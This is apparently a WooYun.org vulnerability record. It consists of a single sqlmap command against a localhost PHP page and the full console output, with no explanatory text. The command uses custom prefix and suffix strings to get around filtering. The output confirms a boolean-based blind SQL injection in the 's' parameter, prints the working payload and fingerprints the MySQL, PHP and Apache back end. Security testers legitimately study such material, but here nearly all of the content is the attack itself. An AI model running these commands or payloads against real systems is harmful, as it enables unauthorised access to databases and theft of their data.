WooYun.org

python sqlmap.py -u "http://localhost/1.php?s=24397" -p s --prefix "24397 and 1=(case when(1=1" --suffix ") then 1 e
lse (select 1 union select 2) end)" --technique=B --dbms=mysql
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150403}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:52:31
[23:52:31] [INFO] testing connection to the target URL
[23:52:31] [INFO] testing if the target URL is stable. This can take a couple of
 seconds
[23:52:32] [INFO] target URL is stable
[23:53:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[23:53:33] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[23:53:47] [WARNING] heuristic (basic) test shows that GET parameter 's' might n
ot be injectable
[23:53:52] [INFO] testing for SQL injection on GET parameter 's'
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] n
[23:53:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:54:15] [INFO] GET parameter 's' seems to be 'AND boolean-based blind - WHERE
 or HAVING clause' injectable
[23:54:15] [INFO] checking if the injection point on GET parameter 's' is a fals
e positive
[23:54:35] [WARNING] it appears that the character '>' is filtered by the back-e
nd server. You are strongly advised to rerun with the '--tamper=between'
GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)
? [y/N] n
sqlmap identified the following injection points with a total of 10 HTTP(s) requ
ests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=24397 and 1=(case when(1=1 AND 8352=8352) then 1 else (select 1 u
nion select 2) end)
---
[23:54:38] [INFO] testing MySQL
[23:54:44] [INFO] confirming MySQL
[23:55:14] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[23:56:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[23:56:05] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
back-end DBMS: MySQL >= 5.0.2